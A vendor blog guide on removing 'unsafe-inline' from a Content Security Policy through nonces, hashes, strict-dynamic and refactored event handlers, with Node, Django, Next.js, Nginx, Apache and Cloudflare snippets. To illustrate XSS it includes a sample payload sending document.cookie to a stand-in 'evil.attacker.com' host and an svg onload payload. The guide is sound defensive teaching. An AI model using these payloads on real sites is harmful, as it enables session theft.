How to Fix 'unsafe-inline' in Your CSP
unsafe-inline in script-src disables most of CSP's XSS protection. This step-by-step guide shows you how to remove it using nonces or hashes without breaking your site.
How to Fix 'unsafe-inline' in Your Content Security Policy (CSP): A Definitive Guide
By the Security Engineering Team at SecHead
When reviewing your website's security posture, few warnings are as ubiquitous-or as misunderstood-as the recommendation to fix unsafe-inline in your Content Security Policy (CSP). While a CSP is designed to be the ultimate defense-in-depth mechanism against Cross-Site Scripting (XSS) and data injection attacks, allowing 'unsafe-inline' effectively neuters its primary capability.
In this comprehensive guide tailored for web developers, security engineers, and system administrators, we'll dive deep into why 'unsafe-inline' is dangerous, how to safely remove it without breaking your site, and how to implement modern alternatives like nonces, hashes, and strict-dynamic.
Whether you are managing a legacy monolith, a modern server-rendered Next.js application, or a static Jamstack site, this guide provides the exact configuration snippets and architectural patterns you need to lock down your CSP.
Quick Answer: How to Fix unsafe-inline
If you're looking for an immediate solution to fix unsafe-inline and secure your application, here is the executive summary of the remediation process:
- Audit your current inline scripts: Use a
Content-Security-Policy-Report-Onlyheader to identify all inline<script>tags, event handlers (e.g.,onclick,onload), andjavascript:URIs across your application. - Implement Nonces (Recommended): For server-rendered applications, generate a cryptographically secure, base64-encoded random string (nonce) on the server for each HTTP request. Add this nonce to your CSP header:
script-src 'nonce-r4nd0m...'and to your legitimate script tags:<script nonce="r4nd0m...">. - Use Hashes for Static Scripts: For single-page applications (SPAs) or static sites where server-side nonces aren't feasible, generate a SHA-256 hash of the inline script's exact contents and add it to your CSP:
script-src 'sha256-hashvalue...'. - Refactor Inline Event Handlers: Hashes and nonces do not work for inline HTML event attributes (like
onclick="doSomething()"). You must move these into external or properly nonced script files usingaddEventListener. - Leverage strict-dynamic: For modern applications loading complex third-party scripts (like Google Tag Manager), combine nonces with
'strict-dynamic'to automatically trust scripts dynamically injected by an already-trusted script.
By replacing 'unsafe-inline' with nonces or hashes, you block unauthorized script execution while keeping your site's functionality intact.
People Also Ask (PAA)
-
Why is unsafe-inline bad in CSP?
'unsafe-inline'allows any inline JavaScript to execute. If an attacker successfully injects a malicious<script>block into your HTML (e.g., via a stored XSS vulnerability), the browser will execute it, completely bypassing the CSP's protection. -
Can I use both nonces and unsafe-inline?
Yes, but with a crucial caveat. In modern browsers (CSP Level 2 and Level 3), if a nonce or hash is present in thescript-srcdirective, the browser will automatically ignore'unsafe-inline'. This behavior allows you to keep'unsafe-inline'as a fallback for archaic browsers that don't support nonces, while modern browsers remain secure. -
What does strict-dynamic do?
Introduced in CSP Level 3,'strict-dynamic'tells the browser to trust any script dynamically created (e.g., viadocument.createElement('script')) by a script that was already explicitly trusted via a nonce or hash. This dramatically simplifies managing third-party tags and analytics. -
How do I fix unsafe-eval?
Similar to'unsafe-inline','unsafe-eval'allows the use of functions likeeval(),setTimeout(string), andnew Function(). To fix it, you must refactor your JavaScript to avoid these functions. Parse JSON usingJSON.parse()instead ofeval(). For frameworks like Vue, ensure you are using the runtime-only build instead of the full compiler build in production.
The Threat Landscape: Why 'unsafe-inline' is a Critical Vulnerability
To truly understand why you must fix unsafe-inline, you need to understand the mechanics of Cross-Site Scripting (XSS) and how modern browsers interpret security headers.
The Anatomy of an XSS Attack
Imagine your application allows users to post reviews on products. If the input isn't properly sanitized and the output isn't properly encoded, a malicious user might post a review containing:
Great product! <script>fetch('https://evil.attacker.com/steal?cookie=' + document.cookie)</script>
When an unsuspecting victim loads the product page, their browser parses the HTML. It encounters the <script> tag and executes the JavaScript, quietly sending the user's session cookie or local storage tokens to the attacker's server.
How CSP was Supposed to Help
Content Security Policy (CSP) was invented to stop this exact scenario. A basic, strict CSP looks like this:
Content-Security-Policy: default-src 'self'; script-src 'self'
This tells the browser: "Only execute scripts that are loaded from external files hosted on my own domain."
When the browser sees the attacker's inline <script>, it blocks it immediately, because inline scripts are not allowed by default. Reflected and stored XSS attacks relying on inline script injection are neutralized.
The 'unsafe-inline' Compromise
However, many legacy applications and poorly configured content management systems (CMS) rely heavily on inline scripts:
<script>blocks embedded directly in HTML templates for initializing plugins.- Inline event handlers like
<button onclick="submitForm()">. javascript:URIs in links like<a href="javascript:void(0)">.
To get a CSP deployed quickly without the painstaking effort of refactoring all this legacy code, developers often take the easy way out and add 'unsafe-inline':
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
By adding this single keyword, the developer has told the browser: "Go ahead and execute any inline script you find anywhere in the HTML document."
The problem is immediately apparent. The attacker's injected script is an inline script. The browser sees 'unsafe-inline', shrugs, and executes the malicious code. The CSP has been rendered virtually useless against the most common vectors of XSS.
Here is what an attacker might see when attempting an exploit on a vulnerable site lacking a strong CSP:
[CRITICAL VULNERABILITY DETECTED]
Target: https://vulnerable-ecommerce.example.com
Payload: <svg onload=alert(document.domain)>
Status: Executed Successfully
Impact: Full DOM access achieved. The target site's CSP includes 'unsafe-inline' in the script-src directive, completely failing to mitigate the Cross-Site Scripting (XSS) payload. Session hijacking is possible.
Preparing for Remediation: The Audit Phase
You cannot simply delete 'unsafe-inline' from your production headers. If you do, critical functionality-from analytics to UI interactivity, ad trackers, and core business logic-will likely break. The first step is to perform a comprehensive audit using a Report-Only policy.
Deploying a Report-Only Header
Instead of enforcing the policy and breaking the site, use the Content-Security-Policy-Report-Only header. This instructs the browser to monitor for violations and report them to a specified endpoint, but it will still allow the scripts to execute normally.
HTTP/1.1 200 OK
Date: Wed, 21 Jun 2026 12:00:00 GMT
Server: nginx/1.24.0
Content-Type: text/html; charset=UTF-8
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri https://yourdomain.com/csp-report-endpoint
Notice that we omitted 'unsafe-inline' in the Report-Only header. This will trigger a violation report for every single piece of inline JavaScript on your site.
Analyzing the Violations
Once your Report-Only policy is active, monitor the incoming reports. You will likely see JSON payloads sent to your report-uri (or report-to in modern implementations) similar to this:
POST /csp-report-endpoint HTTP/1.1
Host: yourdomain.com
Content-Type: application/csp-report
{
"csp-report": {
"document-uri": "https://yourdomain.com/dashboard",
"referrer": "",
"violated-directive": "script-src-elem",
"effective-directive": "script-src-elem",
"original-policy": "default-src 'self'; script-src 'self'; report-uri https://yourdomain.com/csp-report-endpoint",
"disposition": "report",
"blocked-uri": "inline",
"line-number": 42,
"source-file": "https://yourdomain.com/dashboard",
"status-code": 200,
"script-sample": "console.log('Dashboard initialized');"
}
}
The blocked-uri: "inline" tells you that an inline script on line 42 of the dashboard caused the violation. Your task is to aggregate and catalog every unique violation across your application. Using a dedicated CSP reporting tool or a SIEM (Security Information and Event Management) system is highly recommended to handle the sheer volume of reports.
Strategy 1: Implementing Nonces (The Gold Standard)
For server-rendered applications (e.g., using PHP, Node.js/Express, Django, Ruby on Rails, Java Spring, or Next.js SSR), utilizing nonces (Number Used Once) is the most robust, scalable, and maintainable way to fix unsafe-inline.
How Nonces Work
- Server Generation: For every single HTTP response, the server generates a cryptographically secure, unpredictable random string (the nonce).
- Header Delivery: The server includes this nonce in the CSP HTTP response header.
- HTML Injection: The server dynamically injects the exact same nonce into the
nonceattribute of any legitimate<script>tags within the HTML document it is rendering. - Browser Verification: When the browser parses the HTML, it checks if the
nonceattribute on a<script>tag exactly matches the nonce provided in the CSP header. If they match, the script executes. If they don't match (or if the attribute is missing entirely, as would be the case with an attacker's injected script), the browser blocks execution.
Because the nonce changes on every single request, an attacker cannot predict the nonce to include in their XSS payload.
Step-by-Step Implementation
1. Generate the Nonce
You must use a secure random number generator. Do not use standard Math.random(), as it is not cryptographically secure and can be guessed.
Node.js (Express) Middleware Example:
const crypto = require('crypto');
const express = require('express');
const app = express();
app.use((req, res, next) => {
// Generate a 16-byte base64-encoded random string
const nonce = crypto.randomBytes(16).toString('base64');
// Attach it to the response object for use in templates
res.locals.nonce = nonce;
// Set the CSP header dynamically per request
res.setHeader(
'Content-Security-Policy',
`default-src 'self'; script-src 'self' 'nonce-${nonce}';`
);
next();
});
Python (Django) Example:
Django has excellent built-in middleware for CSP via external packages like django-csp, but here is the underlying concept implemented manually:
import secrets
def csp_middleware(get_response):
def middleware(request):
# Generate a url-safe base64 encoded token
nonce = secrets.token_urlsafe(16)
request.csp_nonce = nonce
response = get_response(request)
# Ensure the header is set with the fresh nonce
response['Content-Security-Policy'] = f"default-src 'self'; script-src 'self' 'nonce-{nonce}';"
return response
return middleware
Next.js (App Router) Middleware Example:
Next.js App Router supports generating nonces in the middleware edge functions:
// middleware.ts
import { NextResponse } from 'next/server'
import type { NextRequest } from 'next/server'
export function middleware(request: NextRequest) {
const nonce = Buffer.from(crypto.randomUUID()).toString('base64')
const cspHeader = `
default-src 'self';
script-src 'self' 'nonce-${nonce}' 'strict-dynamic';
style-src 'self' 'nonce-${nonce}';
object-src 'none';
base-uri 'self';
`.replace(/\s{2,}/g, ' ').trim()
const requestHeaders = new Headers(request.headers)
requestHeaders.set('x-nonce', nonce)
requestHeaders.set('Content-Security-Policy', cspHeader)
const response = NextResponse.next({
request: {
headers: requestHeaders,
},
})
response.headers.set('Content-Security-Policy', cspHeader)
return response
}
2. Update Your HTML Templates
Now, update your template engine (EJS, Pug, Jinja, Blade, React Server Components, etc.) to output the dynamically generated nonce on all your inline script tags.
EJS Example:
<!DOCTYPE html>
<html>
<head>
<title>Secure Dashboard</title>
</head>
<body>
<h1>Welcome</h1>
<!-- This inline script will be allowed because the nonce matches the header -->
<script nonce="<%= nonce %>">
console.log("This trusted script will execute securely.");
window.appConfig = { env: "production", api: "/v1/api" };
</script>
</body>
</html>
The Beauty of Backward Compatibility
What if some of your users are on ancient browsers (like Internet Explorer 11) that don't understand the nonce- syntax?
The CSP specification includes a brilliant fallback mechanism. If you include both 'unsafe-inline' AND a nonce, modern browsers (CSP Level 2+) will automatically ignore 'unsafe-inline' and enforce the nonce, while older browsers will ignore the nonce (which they don't understand) and fall back to allowing 'unsafe-inline'.
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-r4nd0m...'
This configuration ensures your site doesn't break for legacy users, while providing maximum security against XSS for the vast majority of modern traffic.
Strategy 2: Using Hashes for Static Applications
If your site is purely static (e.g., an SPA built with React, Vue, or Angular deployed on an AWS S3 bucket, or a Jamstack site built with Gatsby or Hugo), you don't have a server dynamically generating HTML for each request. Therefore, you cannot generate a fresh nonce per request.
In these scenarios, you must use hashes to fix unsafe-inline.
How Hashes Work
Instead of generating a random token per request, you calculate a cryptographic hash (SHA-256, SHA-384, or SHA-512) of the exact, byte-for-byte contents of the inline script. You then place that base64-encoded hash in the CSP header.
When the browser encounters an inline script during parsing, it calculates the hash of the script's content on the fly. If the calculated hash matches a hash listed in the CSP header, the script is executed.
Step-by-Step Implementation
1. Identify the Script to Hash
Suppose you have a small inline script used to prevent a Flash of Unstyled Content (FOUC) by setting an initial theme before your main JavaScript bundle loads:
<script>
document.documentElement.className = localStorage.getItem('theme') || 'light';
</script>
2. Calculate the Hash
You must hash the content exactly as it appears between the <script> and </script> tags, including all whitespace, leading spaces, line breaks, and indentation.
Using OpenSSL in your terminal:
$ echo -n "
document.documentElement.className = localStorage.getItem('theme') || 'light';
" | openssl dgst -sha256 -binary | openssl base64
b/xyz123abc456def789ghi012jkl345mno678pqr90=
Alternatively, the absolute easiest way to get the exact hash is to simply deploy your site with a strict CSP (no 'unsafe-inline', no hash). Modern browsers like Chrome will block the script and output the exact expected hash in the Developer Console!
URL: https://yourdomain.com
Status: Secure (Valid SSL)
[Developer Console]
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-b/xyz123abc456def789ghi012jkl345mno678pqr90='), or a nonce ('nonce-...') is required to enable inline execution.
3. Update the CSP Header
Take the hash provided by the browser (or generated manually via your build pipeline) and add it to your policy:
Content-Security-Policy: script-src 'self' 'sha256-b/xyz123abc456def789ghi012jkl345mno678pqr90='
Now, that specific inline script will be permitted, but an attacker's injected script will have a completely different hash and will be blocked instantly.
The Downside of Hashes
Hashes are incredibly brittle. If you change a single character in your inline script-even adding a trailing space, a comment, or a newline-the hash changes entirely, and the script will instantly be blocked by the browser. Because of this brittleness, hashes are only recommended for small, rarely changing inline scripts in environments where dynamic nonces are impossible.
For complex Single Page Applications, tools like csp-html-webpack-plugin can automatically generate these hashes during the build process and inject them into a <meta http-equiv="Content-Security-Policy"> tag, automating the workflow.
Strategy 3: Eliminating Inline Event Handlers
Neither nonces nor hashes can be used to authorize inline event handlers. If your HTML code looks like this:
<button onclick="submitData(123)">Submit</button>
<body onload="initApp()">
<a href="javascript:void(0)">Click me</a>
You have a serious problem. The CSP specification (specifically the script-src-attr directive) dictates that the only way to fix unsafe-inline when dealing with inline event handlers is to refactor them out of the HTML markup completely.
The Refactoring Process
You must separate your structure (HTML) from your behavior (JavaScript).
Bad (Inline Handler - Blocked by CSP):
<button id="submitBtn" onclick="submitData(123)">Submit Data</button>
Good (Event Listener - Allowed by CSP):
Change the HTML to use data-* attributes to pass necessary context:
<button id="submitBtn" data-id="123">Submit Data</button>
Then, in a trusted external JavaScript file (or a properly nonced/hashed inline script block), attach the event listener programmatically:
document.addEventListener('DOMContentLoaded', () => {
const btn = document.getElementById('submitBtn');
if (btn) {
btn.addEventListener('click', function(event) {
// Prevent default action if it's a link
event.preventDefault();
const id = this.getAttribute('data-id');
submitData(id);
});
}
});
Refactoring hundreds of inline event handlers in a legacy application can be a tedious and monumental task, but it is an absolute prerequisite for a secure CSP. Tools like ESLint (with eslint-plugin-no-inline-html-attributes or standard React/Vue linting rules) can help enforce this separation of concerns moving forward.
Strategy 4: The Modern Solution - Leveraging 'strict-dynamic'
As the web evolved, applications began relying heavily on complex third-party scripts: Google Analytics, Google Tag Manager, Intercom, Facebook Pixel, HubSpot, etc.
These third-party scripts are notorious for dynamically creating and injecting other scripts into the DOM. This is known as a waterfall loading pattern.
// A typical third-party snippet that breaks strict CSPs
var s = document.createElement('script');
s.src = 'https://analytics.thirdparty.com/library-v2.js';
document.head.appendChild(s);
Historically, a strict CSP would block these dynamically injected scripts unless you explicitly whitelisted every single domain the third-party script attempted to load from. This resulted in massive, unmanageable script-src whitelists that were easily bypassed (a whitelist bypass vulnerability).
To solve this nightmare, CSP Level 3 introduced 'strict-dynamic'.
How 'strict-dynamic' Works
When you include 'strict-dynamic' alongside a nonce or hash, you are telling the browser:
"I trust the root script that has this nonce. Therefore, if this trusted script dynamically creates and injects a new script element, you should automatically trust that new script as well, without me having to whitelist its URL."
This cascades the trust downwards, effectively creating a chain of trust from your nonced root script to its dependencies.
Implementation with Google Tag Manager (GTM)
Google Tag Manager is the perfect use case for 'strict-dynamic'. Instead of allowing 'unsafe-inline' and whitelisting a dozen Google domains, you do this:
1. Generate the CSP Header
Content-Security-Policy: script-src 'nonce-r4nd0m...' 'strict-dynamic' https: 'unsafe-inline';
Let's break down this advanced policy, which provides maximum backwards compatibility:
'nonce-r4nd0m...': The root of trust.'strict-dynamic': Allows scripts loaded programmatically by the nonced script.https:: A fallback for older browsers that don't support'strict-dynamic'(CSP Level 2). Modern browsers will ignore this because'strict-dynamic'is present.'unsafe-inline': A fallback for ancient browsers that don't support nonces (CSP Level 1). Modern browsers ignore this because the nonce is present.
2. Implement the GTM Snippet
Google officially supports a nonce-aware GTM snippet. You simply pass your server-generated nonce into the snippet:
<!-- Google Tag Manager -->
<script nonce="<%= nonce %>">
(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';
// GTM automatically propagates the nonce to dynamically created scripts!
j.setAttribute('nonce', '<%= nonce %>');
j.async=true;j.src=
'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','GTM-XXXXXXX');
</script>
<!-- End Google Tag Manager -->
By using 'strict-dynamic', you completely eliminate the need for 'unsafe-inline', drastically reduce the size of your whitelists, and make your CSP vastly more secure.
Web Server Configuration Snippets
Once your application code is properly generating nonces, calculating hashes, or using 'strict-dynamic', you need to configure your web server, load balancer, or edge network to inject the enforcement header.
Nginx Configuration
If you are using Nginx to serve your application and want to apply a hashed CSP:
server {
listen 443 ssl http2;
server_name yourdomain.com;
# Other SSL configs...
# Add the CSP header using add_header
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'sha256-b/xyz123abc456def789ghi012jkl345mno678pqr90=' 'strict-dynamic'; object-src 'none'; base-uri 'none';" always;
location / {
try_files $uri $uri/ /index.html;
}
}
Apache Configuration
For Apache servers, use the Header directive inside your .htaccess or virtual host configuration blocks:
<IfModule mod_headers.c>
Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'sha256-b/xyz...'; object-src 'none'; base-uri 'none';"
</IfModule>
Edge Computing (Cloudflare Workers)
If you are using Cloudflare Workers to terminate TLS and route requests, you can generate and inject a nonce directly at the edge, modifying the HTML stream as it passes through. Here is a Cloudflare Worker example generating a nonce:
export default {
async fetch(request, env, ctx) {
// Generate a random 16 byte value and convert to hex
const nonceArray = new Uint8Array(16);
crypto.getRandomValues(nonceArray);
const nonce = Array.from(nonceArray).map(b => b.toString(16).padStart(2, '0')).join('');
const response = await fetch(request);
// We must clone the response to modify headers
const newResponse = new Response(response.body, response);
const csp = `script-src 'self' 'nonce-${nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'none';`;
newResponse.headers.set('Content-Security-Policy', csp);
// Advanced: Use HTMLRewriter to inject the nonce into the DOM
return new HTMLRewriter()
.on('script', new ScriptNonceInjector(nonce))
.transform(newResponse);
}
};
class ScriptNonceInjector {
constructor(nonce) {
this.nonce = nonce;
}
element(element) {
// Only inject nonce if the script doesn't already have one
if (!element.hasAttribute('nonce')) {
element.setAttribute('nonce', this.nonce);
}
}
}
Testing and Enforcement
After you have implemented nonces or hashes and refactored your inline event handlers, it is time to move from the testing phase to full enforcement.
- Review Reports: Ensure your
Content-Security-Policy-Report-Onlyendpoint is no longer receiving violations for your legitimate scripts. A clean report log for several days across high-traffic periods is a good indicator. - Switch Headers: Change the
Content-Security-Policy-Report-Onlyheader toContent-Security-Policy. This activates blocking mode. - Verify Functionality: Thoroughly test your site in production. Pay special attention to:
- Third-party integrations (chat bots like Intercom, analytics, ad networks).
- Dynamic UI elements (modals, dropdowns) that might accidentally rely on old inline JavaScript.
- Form submissions and single-page application routing.
- Scan Your Headers: Use a tool like SecHead to scan your domain. Once
'unsafe-inline'is removed, your security grade should significantly improve, often jumping from a 'C' or 'B' to an 'A+'.
URL: https://sechead.com/scan
Status: Secure (Valid SSL)
[SecHead Report]
Grade: A+
Content-Security-Policy: PASS
The CSP directive 'script-src' is highly secure. It utilizes nonces/hashes and 'strict-dynamic', providing robust protection against Cross-Site Scripting (XSS). No 'unsafe-inline' detected.
Frequently Asked Questions (FAQ)
1. Does removing unsafe-inline break Google Analytics?
No. Modern versions of Google Analytics (GA4 via gtag.js) do not require 'unsafe-inline'. If you are using Google Tag Manager to deploy GA4, you can use the nonce-aware snippet combined with 'strict-dynamic' as outlined in this guide.
2. Can I use a static, hardcoded nonce?
Absolutely not. A nonce must be completely unpredictable and generated freshly for every single HTTP response. If you hardcode a nonce (e.g., 'nonce-12345'), an attacker can simply read it from the page source and include it in their XSS payload (<script nonce="12345">evil()</script>), completely defeating the protection.
3. What about unsafe-inline for styles (style-src)?
style-src 'unsafe-inline' is generally considered lower risk than script-src 'unsafe-inline'. While malicious CSS can theoretically be used to exfiltrate data (e.g., via background-image requests based on input values) or deface a site, it cannot directly execute arbitrary logic, interact with the DOM, or steal HTTPOnly cookies like JavaScript can. Fixing script-src should always be your immediate priority. You can tackle style-src later.
4. How do I handle bookmarklets and browser extensions?
A strict CSP will block bookmarklets (which rely on javascript: URIs) and may interfere with poorly written browser extensions that inject inline scripts. However, most modern, well-behaved browser extensions (like Password Managers or Ad Blockers) inject their scripts into an "isolated world" that bypasses the page's CSP entirely. The immense security benefits against XSS far outweigh the edge-case breakage of ancient bookmarklets.
5. What is script-src-elem and script-src-attr?
CSP Level 3 split the script-src directive into two finer-grained directives. script-src-elem controls <script> elements and blocks, while script-src-attr specifically controls inline event handlers (like onclick and onload). If you use these directives, be aware that 'unsafe-inline' applies to both unless specifically overridden.
6. Does a strict CSP negatively impact SEO? No, a strict CSP does not negatively impact SEO. In fact, by preventing malicious injections that could redirect users, serve malware, or inject spam links, a strong CSP protects your site's reputation and SEO rankings. Googlebot handles CSP headers correctly and does not penalize sites for enforcing strict policies.
7. Can I use hashes for external scripts instead of nonces?
Yes. While hashes are primarily discussed here to fix inline scripts, you can also use them to verify the integrity of external scripts (e.g., adding script-src 'sha256-...' for an external CDN link). However, note that Subresource Integrity (SRI) uses the integrity attribute on the script tag itself, while CSP checks the hash in the header. Both serve similar but distinct purposes.
8. Why does my React/Vue app need unsafe-inline in development?
Development tools like Webpack Dev Server and Vite often use inline scripts and eval() for Hot Module Replacement (HMR) to provide a fast developer experience. It is standard practice to have a relaxed CSP with 'unsafe-inline' and 'unsafe-eval' for local development environments, and a strict, nonced/hashed CSP for production builds.
9. How do I fix unsafe-eval in Vue.js?
If you are using the full build of Vue.js (which includes the runtime compiler), Vue relies on new Function() to compile templates on the fly in the browser, which directly violates 'unsafe-eval'. To fix this, you must pre-compile your templates using a build step (like Vite or Webpack) and ship the runtime-only build of Vue in production.
10. Is CSP a replacement for output encoding and input validation? Absolutely not. CSP is a defense-in-depth measure. Your primary defense against XSS must always be proper input validation and context-aware output encoding (escaping data before rendering it into HTML). CSP is merely the safety net that catches attacks if your encoding mechanisms fail or a vulnerability is introduced by a third-party dependency.
11. How can I easily generate a CSP for my legacy site?
Start by deploying a Report-Only header with a very restrictive policy (default-src 'none';). Use the violation reports to build out your permitted sources, hashes, and nonces iteratively. Tools like the Google CSP Evaluator, SecHead's auditing tools, and browser extensions like Laboratory can help you build and refine the policy without breaking the site.
12. What is the 'report-sample' directive?
When added to your script-src, 'report-sample' instructs the browser to include the first 40 characters of the blocked inline script in the violation report payload. This makes it significantly easier to identify exactly which inline script is causing the violation during your audit phase.
13. Does 'strict-dynamic' work in Safari?
Yes, 'strict-dynamic' is fully supported in Safari 15.4 and later (released in early 2022). For older versions of Safari, the browser will ignore 'strict-dynamic' and fall back to the whitelist provided in the CSP (or 'unsafe-inline' if included as a fallback).
14. What if I use a CMS like WordPress?
WordPress is notoriously difficult to secure with a strict CSP due to the massive, unregulated ecosystem of plugins and themes that aggressively inject inline scripts and styles. Fixing 'unsafe-inline' in WordPress usually requires extensive use of specialized CSP plugins that attempt to intercept and hash/nonce output via output buffering, or a significant refactoring effort to remove poorly coded plugins.
15. Where can I test my CSP for vulnerabilities?
Use SecHead's CSP Scanner to test your policy syntax and effectiveness. The tool will explicitly flag 'unsafe-inline', check for common whitelist bypasses, verify your nonce configuration, and ensure your policy aligns with modern security standards.
Conclusion
Removing 'unsafe-inline' from your script-src directive is arguably the single most impactful change you can make to your Content Security Policy. While the transition requires a methodical approach-auditing via Report-Only, implementing server-side nonces or build-time hashes, and refactoring legacy event handlers-the end result is an application that is highly resilient to Cross-Site Scripting attacks.
By adopting modern CSP Level 3 features like 'strict-dynamic', you can simplify the management of third-party tags while maintaining a robust security posture. Start your transition away from 'unsafe-inline' today, and ensure your CSP is actually providing the defense-in-depth protection it was originally designed for.
<!-- SEO METADATA --> <!-- Meta Title: How to Fix unsafe-inline in Content Security Policy (CSP) --> <!-- Meta Description: Learn how to fix unsafe-inline in your CSP using nonces, hashes, and strict-dynamic. A comprehensive, technical guide to securing your site against XSS. --> <!-- URL Slug: fix-unsafe-inline-csp --> <!-- Keywords: fix unsafe-inline, Content Security Policy, nonces, strict-dynamic, XSS prevention, security headers, csp unsafe-inline mitigation -->
Related Security Guides
Continue your journey into web security with these related, deep-dive articles from the SecHead team:
Free tool
Check your own security headers
Instant grade, plain-language explanations, and a full remediation plan - no signup needed.
Scan your site now â